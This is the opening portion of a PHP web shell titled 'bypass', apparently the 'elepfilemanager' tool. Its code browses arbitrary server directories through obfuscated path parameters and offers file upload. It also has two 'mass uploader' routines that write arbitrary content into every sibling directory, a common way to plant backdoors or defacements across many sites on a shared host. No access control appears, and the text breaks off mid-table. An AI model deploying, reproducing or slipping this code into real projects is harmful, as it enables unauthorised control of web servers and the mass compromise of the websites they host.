<!DOCTYPE html><html lang="en">
<meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>bypass</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" crossorigin="anonymous"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" crossorigin="anonymous" referrerpolicy="no-referrer"/><style>body{background:#000;color:#0f0;}table{background:#111;}table th,table td{color:#0f0;}table thead{background:#300;}table tr:nth-child(even){background:#303;}a,a:hover{color:#f00;text-decoration:none;}.btn-dark{background:#030;border-color:#030;color:#0f0;}.btn-dark:hover{background:#060;border-color:#060;color:#fff;}i{color:#f00;}</style> function formatSizeUnits($b){if($b>=1073741824)$b=number_format($b/1073741824,2).' GB';elseif($b>=1048576)$b=number_format($b/1048576,2).' MB';elseif($b>=1024)$b=number_format($b/1024,2).' KB';elseif($b>1)$b=$b.' bytes';elseif($b==1)$b='1 byte';else$b='0 bytes';return$b;}function fileExtension($f){return substr(strrchr($f,'.'),1);}function fileIcon($f){$imgs=["apng","avif","gif","jpg","jpeg","jfif","pjpeg","pjp","png","svg","webp"];$aud=["wav","m4a","m4b","mp3","ogg","webm","mpc"];$ext=strtolower(fileExtension($f));if($f=="error_log")return'<i class="fa-sharp fa-solid fa-bug"></i> ';if($f==".htaccess")return'<i class="fa-solid fa-hammer"></i> ';if($ext=="html"||$ext=="htm")return'<i class="fa-brands fa-html5"></i> ';elseif($ext=="php"||$ext=="phtml")return'<i class="fa-brands fa-php"></i> ';elseif(in_array($ext,$imgs))return'<i class="fa-regular fa-images"></i> ';elseif($ext=="css")return'<i class="fa-brands fa-css3"></i> ';elseif($ext=="txt")return'<i class="fa-regular fa-file-lines"></i> ';elseif(in_array($ext,$aud))return'<i class="fa-duotone fa-file-music"></i> ';elseif($ext=="py")return'<i class="fa-brands fa-python"></i> ';elseif($ext=="js")return'<i class="fa-brands fa-js"></i> ';else return'<i class="fa-solid fa-file"></i> ';}function encodePath($p){return str_replace(["/","\\",".",":"],["ক","খ","গ","ঘ"],$p);}function decodePath($p){return str_replace(["ক","খ","গ","ঘ"],["/","\\",".",":"],$p);} $root=__DIR__;$p=$root;if(isset($_GET['p'])&&$_GET['p']!==''){if(is_dir(decodePath($_GET['p'])))$p=decodePath($_GET['p']);}elseif(isset($_GET['q'])&&$_GET['q']!==''){if(is_dir(decodePath($_GET['q'])))$p=decodePath($_GET['q']);}define("PATH",$p);echo'<nav class="navbar navbar-dark" style="background:#300;"><div class="navbar-brand"><a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30"></a>'; $pa=str_replace('\\','/',PATH);$ps=explode('/',$pa);foreach($ps as $id=>$d){if($d==''&&$id==0){echo"<a href='?p=/'>/</a>";continue;}if($d=='')continue;echo"<a href='?p=";for($i=0;$i<=$id;$i++){echo str_replace(":","ঘ",$ps[$i]);if($i!=$id)echo "ক";}echo"'>".$d."</a>/";} echo'</div><div class="form-inline"><a href="?upload&q='.urlencode(encodePath(PATH)).'"><button class="btn btn-dark" type="button">Upload File</button></a><a href="#" onclick="document.getElementById(\'massUploadDiv1\').style.display=\'block\';"><button class="btn btn-dark" type="button">Mass Uploader 1</button></a><a href="#" onclick="document.getElementById(\'massUploadDiv2\').style.display=\'block\';"><button class="btn btn-dark" type="button">Mass Uploader 2</button></a><a href="?"><button class="btn btn-dark">HOME</button></a></div></nav>'; echo'<div id="massUploadDiv1" style="display:none;margin:10px;"></div>'; echo'<div id="massUploadDiv2" style="display:none;margin:10px;"></div>'; if(isset($_POST['mass_upload'])){$b=rtrim($_POST['mass_base_dir'],'/');$f=$_POST['mass_file_name'];$c=$_POST['mass_file_content'];if(is_dir($b)){$fs=scandir($b);foreach($fs as $d){if($d=='.'||$d=='..')continue;$fp=$b.'/'.$d;if(is_dir($fp))file_put_contents($fp.'/'.$f,$c);}}echo "<script>alert('Mass Upload 1 Completed!');window.location.replace('?p=".encodePath(PATH)."');</script>";} if(isset($_POST['mass2_upload'])){$b=rtrim($_POST['mass2_base_dir'],'/');$sf=$_POST['mass2_subfolder'];$f=$_POST['mass2_file_name'];$c=$_POST['mass2_file_content'];if(is_dir($b)){$fs=scandir($b);foreach($fs as $d){if($d=='.'||$d=='..')continue;$t=$b.'/'.$d.'/'.$sf;if(is_dir($t))file_put_contents($t.'/'.$f,$c);}}echo "<script>alert('Mass Upload 2 Completed!');window.location.replace('?p=".encodePath(PATH)."');</script>";} if(is_readable(PATH)){$objs=scandir(PATH);$folders=[];$files=[];foreach($objs as $o){if($o=='.'||$o=='..')continue;$n=PATH.'/'.$o;if(is_dir($n))$folders[]=$o;elseif(is_file($n))$files[]=$o;}echo'<table class="table table-hover"><thead>